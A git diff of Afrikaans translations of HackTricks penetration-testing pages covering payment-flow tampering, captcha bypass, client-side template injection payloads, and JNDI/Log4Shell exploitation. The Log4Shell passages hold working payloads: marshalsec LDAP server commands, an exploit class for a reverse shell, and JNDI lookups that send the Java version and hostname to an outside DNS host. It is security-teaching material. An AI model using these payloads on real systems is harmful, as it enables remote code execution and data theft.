### URL Analysis
@ -47,18 +39,12 @@ As jy 'n parameter teëkom wat 'n URL bevat, veral een wat die patroon _example.
2. **Verander Koekiewaardes**: Verander die waardes wat in die koekies gestoor is en observeer hoe die webwerf se reaksie of gedrag verander.
### Session Hijacking
1. **Sessie Tokens**: As sessie tokens in die betalingsproses gebruik word, probeer om hulle te vang en te manipuleer. Dit kan insigte gee in kwesbaarhede in sessiebestuur.
1. **Sessie Tokens**: As sessie tokens in die betalingsproses gebruik word, probeer om hulle te vang en te manipuleer. Dit kan insigte gee in sessiebestuur kwesbaarhede.
### Response Tampering
1. **Intercept Responses**: Gebruik gereedskap om die antwoorde van die bediener te onderskep en te analiseer. Soek vir enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
1. **Intercept Responses**: Gebruik gereedskap om die antwoorde van die bediener te onderskep en te analiseer. Soek na enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
2. **Modify Responses**: Probeer om die antwoorde te verander voordat hulle deur die blaaiervenster of die toepassing verwerk word om 'n suksesvolle transaksiescenario te simuleer.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -36,7 +36,7 @@ Om die **captcha** tydens **server toetsing** te **omseil** en gebruikersinvoerv
* Gebruik Optiese Karakter Erkenning (OCR) gereedskap soos [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) om karakterlees uit beelde te outomatiseer.
4. **Addisionele Tegnieke**:
* **Tarief Limiet Toetsing**: Kyk of die toepassing die aantal pogings of indienings in 'n gegewe tydraamwerk beperk en of hierdie limiet omseil of teruggestel kan word.
* **Tarief Beperking Toetsing**: Kyk of die toepassing die aantal pogings of indienings in 'n gegewe tydraamwerk beperk en of hierdie limiet omseil of teruggestel kan word.
* **Derdeparty Dienste**: Gebruik captcha-oplossingsdienste of API's wat outomatiese captcha erkenning en oplossing bied.
* **Sessie en IP Rotasie**: Verander gereeld sessie-ID's en IP adresse om opsporing en blokkering deur die bediener te vermy.
* **User-Agent en Header Manipulasie**: Verander die User-Agent en ander versoekheaders om verskillende blaaiers of toestelle na te boots.
@ -45,9 +45,6 @@ Om die **captcha** tydens **server toetsing** te **omseil** en gebruikersinvoerv
## Aanlyn Dienste om captchas op te los
### [Capsolver](https://www.capsolver.com/)
Capsolver se outomatiese captcha-oplosser bied 'n **bekostigbare en vinnige captcha-oplossingsoplossing**. Jy kan dit vinnig met jou program kombineer deur sy eenvoudige integrasie opsie om die beste resultate in 'n paar sekondes te bereik. Dit kan reCAPTCHA V2 en V3, hCaptcha, FunCaptcha, datadome, aws captcha, beeld-naar-teks, binance / coinmarketcap captcha, geetest v3, en meer oplos. Dit is egter nie 'n omseiling per se nie.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,21 +15,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Samevatting
## Opsomming
Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
@ -37,9 +24,9 @@ Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-in
## AngularJS
AngularJS is 'n wyd gebruikte JavaScript raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML liggaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript kode uitgevoer kan word:
In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -51,7 +38,7 @@ In scenario's waar gebruikersinvoer dinamies in die HTML liggaam ingevoeg word w
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
{% hint style="danger" %}
[**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe moet 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` werk.
[**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` te werk.
{% endhint %}
## VueJS
@ -98,21 +85,11 @@ javascript:alert(1)%252f%252f..%252fcss-images
```
**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **Brute-Force Opsporingslys**
## **Brute-Force Opsporing Lys**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -122,8 +99,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,32 +15,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n naamgewingstelsel te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPIs), wat data-opeenvolging van verskillende stelsels, insluitend afstand Java-voorwerpe, moontlik maak. Algemene SPIs sluit CORBA COS, Java RMI Registry, en LDAP in.
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n katalogusdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n naamgewingstelsel te vind. Dit ondersteun verskeie katalogusdienste via diensverskafferinterfaces (SPIs), wat data-opeising van verskillende stelsels moontlik maak, insluitend afstand Java-voorwerpe. Algemene SPIs sluit CORBA COS, Java RMI Registry, en LDAP in.
### JNDI Naamverwysing
Java-voorwerpe kan gestoor en herwin word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
Java-voorwerpe kan gestoor en opgeëis word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
* **Verwysingsadresse**: Gee 'n voorwerp se ligging aan (bv. _rmi://server/ref_), wat direkte herwinning van die gespesifiseerde adres moontlik maak.
* **Afstandfabriek**: Verwys na 'n afstandfabriek klas. Wanneer dit benader word, word die klas afgelaai en van die afstand plek geïnstantieer.
* **Verwysingsadresse**: Gee 'n voorwerp se ligging aan (bv. _rmi://server/ref_), wat direkte opeising vanaf die gespesifiseerde adres moontlik maak.
* **Afstandfabriek**: Verwys na 'n afstandfabriek klas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afstand ligging.
Hierdie mechanisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël:
Hierdie meganisme kan egter uitgebuit word, wat moontlik kan lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat afstand voorwerp laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afstand gelaaide Java-voorwerpe blokkeer. As dit op `true` gestel word, is afstand kode uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat die laai van afstandvoorwerpe beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afstand gelaaide Java-voorwerpe blokkeer. As dit op `true` gestel word, is afstandkode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
* **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
Die **Naambestuurder**, verantwoordelik vir die oplos van JNDI skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die herwinning van voorwerpe van enige bron toelaat. Dit stel 'n risiko in die sin dat RMI, LDAP, en CORBA beskermings omseil kan word, wat lei tot die laai van arbitrêre Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (gadgets) om kwaadwillige kode te laat loop.
Die **Naambestuurder**, verantwoordelik vir die oplos van JNDI skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die opeising van voorwerpe van enige bron toelaat. Dit stel 'n risiko in die gesig, aangesien RMI, LDAP, en CORBA beskermings omseil kan word, wat lei tot die laai van arbitrêre Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (gadgets) om kwaadwillige kode te laat loop.
Voorbeelde van uitbuitbare URL's sluit in:
@ -48,7 +40,7 @@ Voorbeelde van uitbuitbare URL's sluit in:
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskermings te omseil.
Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanaf onbetroubare bronne en die moontlikheid om bestaande beskermings te omseil.
### JNDI Voorbeeld
@ -58,17 +50,17 @@ Selfs al het jy 'n **`PROVIDER_URL`** gestel, kan jy 'n ander een in 'n opsoek a
### CORBA Oorsig
CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afstand voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afstandvoorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
* **Tipe ID**: Unieke identifiseerder vir 'n interface.
* **Codebase**: URL om die stub klas te verkry.
Opmerklik is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:
Merkwaardig is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:
* Installering van 'n **Sekuriteitsbestuurder**.
* Konfigurasie van die Sekuriteitsbestuurder om verbindings na moontlik kwaadwillige kodebases toe te laat. Dit kan bereik word deur:
* Socket toestemming, bv. `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Lêer lees toestemming, hetsy universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) of vir spesifieke gidsen waar kwaadwillige lêers geplaas kan word.
* Lêer lees toestemming, hetsy universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) of vir spesifieke gidse waar kwaadwillige lêers geplaas kan word.
Sommige verskafferbeleide mag egter toegeeflik wees en hierdie verbindings standaard toelaat.
@ -79,22 +71,22 @@ Vir RMI (Remote Method Invocation) is die situasie ietwat anders. Soos met CORBA
### LDAP
Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.\
'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial voorwerp van 'n LDAP bediener te vind en **sy eienskappe te herwin**.\
'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial voorwerp van 'n LDAP bediener te vind en **sy eienskappe te verkry**.\
'n **opsoek** is bedoel vir **naamdienste** aangesien ons **enigiets wat aan 'n naam gebind is, wil kry**.
As die LDAP soektog met **SearchControls.setReturningObjFlag() met `true` geaktiveer is, sal die teruggegee voorwerp herbou word**.
As die LDAP soektog met **SearchControls.setReturningObjFlag() met `true` aangeroep is, sal die teruggegee voorwerp **heropgebou word**.
Daarom is daar verskeie maniere om hierdie opsies aan te val.\
'n **aanvaller kan LDAP rekords vergiftig deur payloads daarop in te voer** wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP soektog** te voer.
'n **aanvaller kan LDAP rekords vergiftig deur payloads** daarop in te voer wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP soektog** te voer byvoorbeeld.
As jy 'n app kan **maak om 'n JNDI LDAP URL op te los**, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
As jy 'n app kan **laat 'n JNDI LDAP UR**L oplos, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
#### Deserialisering uitbuiting
![](<../../.gitbook/assets/image (275).png>)
Die **uitbuiting is geserialiseer** en sal gedeserialiseer word.\
As `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis verskaf, anders sal hy gadgets in die classpath moet misbruik.
As `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis verskaf, anders sal hy gadgets in die klaspad moet misbruik.
#### JNDI Verwysing uitbuiting
@ -106,21 +98,21 @@ Dit is makliker om hierdie LDAP aan te val met **JavaFactory verwysings**:
Die kwesbaarheid word in Log4j bekendgestel omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in die vorm van `${prefix:name}` ondersteun waar `prefix` een van 'n aantal verskillende [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup kenmerk bekendgestel. Hierdie kenmerk stel die herwinning van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** bevat, word hierdie standaard voorvoegsel nie toegepas nie.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup kenmerk bekendgestel. Hierdie kenmerk stel die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** insluit, word hierdie standaard voorvoegsel nie toegepas nie.
Met 'n **: teenwoordig** in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorvoegsel** nie en die **LDAP bediener word gevra vir die voorwerp**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
Met 'n **:** in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorvoegsel** nie en die **LDAP bediener word gevra vir die voorwerp**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP kopstukke ontvang het soos die User-Agent. Dit is egter belangrik om te noem dat log4j **nie net gebruik word om HTTP-inligting te log nie, maar enige invoer** en data wat die ontwikkelaar aangedui het.
Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit) was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP kopstukke ontvang het soos die User-Agent. Dit is egter nie net gebruik om HTTP-inligting te log nie, maar enige invoer en data wat die ontwikkelaar aangedui het.
## Oorsig van Log4Shell-verwante CVE's
## Oorsig van Log4Shell-verwante CVEs
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]**
Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstands kode uitvoering (RCE)** moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van Alibaba Cloud Security Team en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvoltooid. Sigma reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstandkode-uitvoering (RCE)** in staat, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van Alibaba Cloud Security Team en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]**
Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvoltooide regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskap opsoek patrone te verwyder en JNDI standaard te deaktiveer.
Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapsoekpatrone te verwyder en JNDI standaard te deaktiveer.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]**
@ -128,7 +120,7 @@ Wat **Log4j 1.x weergawes** in nie-standaard konfigurasies wat `JMSAppender` geb
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Gemiddeld]**
Hierdie kwesbaarheid beïnvloed die **Logback logging raamwerk**, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
Hierdie kwesbaarheid beïnvloed die **Logback lograamwerk**, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
### **CVE-2021-45105** **\[Hoog]**
@ -136,7 +128,7 @@ Log4j 2.16.0 bevat 'n DoS fout, wat die vrystelling van `log4j 2.17.0` tot gevol
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Wat log4j weergawe 2.17 beïnvloed, vereis hierdie CVE dat die aanvaller die konfigurasielêer van log4j moet beheer. Dit behels potensiële arbitrêre kode uitvoering via 'n geconfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Wat log4j weergawe 2.17 beïnvloed, vereis hierdie CVE dat die aanvaller die konfigurasielêer van log4j moet beheer. Dit behels potensiële arbitrêre kode-uitvoering via 'n geconfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Log4Shell Uitbuiting
@ -153,7 +145,7 @@ Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskermd is omdat dit
Let daarop dat **selfs al 'n DNS versoek ontvang word, dit nie beteken dat die toepassing uitbuitbaar is** (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit.
{% hint style="info" %}
Onthou dat om **weergawe 2.15** te benut, jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...}
Onthou dat om **weergawe 2.15** te exploiteer, jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Plaaslike Ontdekking**
@ -168,10 +160,10 @@ Sommige van die platforms wat voorheen gelys is, sal jou toelaat om 'n paar vera
Dit kan baie nuttig wees vir 2 dinge:
* Om die **kwesbaarheid** te **verifieer**
* Om **inligting** te **ekstrakteer** deur die kwesbaarheid te misbruik
* Om **inligting** te **exfiltreer** deur die kwesbaarheid te misbruik
Byvoorbeeld, jy kan iets soos:\
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** aan vra en as 'n **DNS-versoek ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar.
Byvoorbeeld, jy kan iets soos aan vra:\
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-versoek ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar.
Ander inligting wat jy kan probeer om te **lek**:
```
@ -238,11 +230,11 @@ Vir **meer inligting** (_soos beperkings op RMI en CORBA vektore_) **kyk na die
Jy kan dit in die **THM boks** toets: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehoste sal word:
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehos word:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die onderstaande inhoud:
Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die inhoud hieronder:
```java
public class Exploit {
static {
@ -260,14 +252,14 @@ Trigger die uitvoering van die eksploit klas op die kwesbare webbediener deur 'n
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Nota:** Hierdie exploit hang af van Java se konfigurasie om afstandkodebasislaai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
**Let wel:** Hierdie uitbuiting hang af van Java se konfigurasie om afstandkodebasis laai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
### RCE - **JNDIExploit**
{% hint style="info" %}
Let daarop dat die outeur om een of ander rede hierdie projek van github verwyder het na die ontdekking van log4shell. Jy kan 'n gekapte weergawe vind in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid te benut.
Boonop kan jy nie die bronkode in die wayback masjien vind nie, so of jy kan die bronkode analiseer, of die jar uitvoer met die kennis dat jy nie weet wat jy uitvoer nie.
Boonop kan jy nie die bronkode in die wayback machine vind nie, so of jy kan die bronkode analiseer, of die jar uitvoer met die kennis dat jy nie weet wat jy uitvoer nie.
{% endhint %}
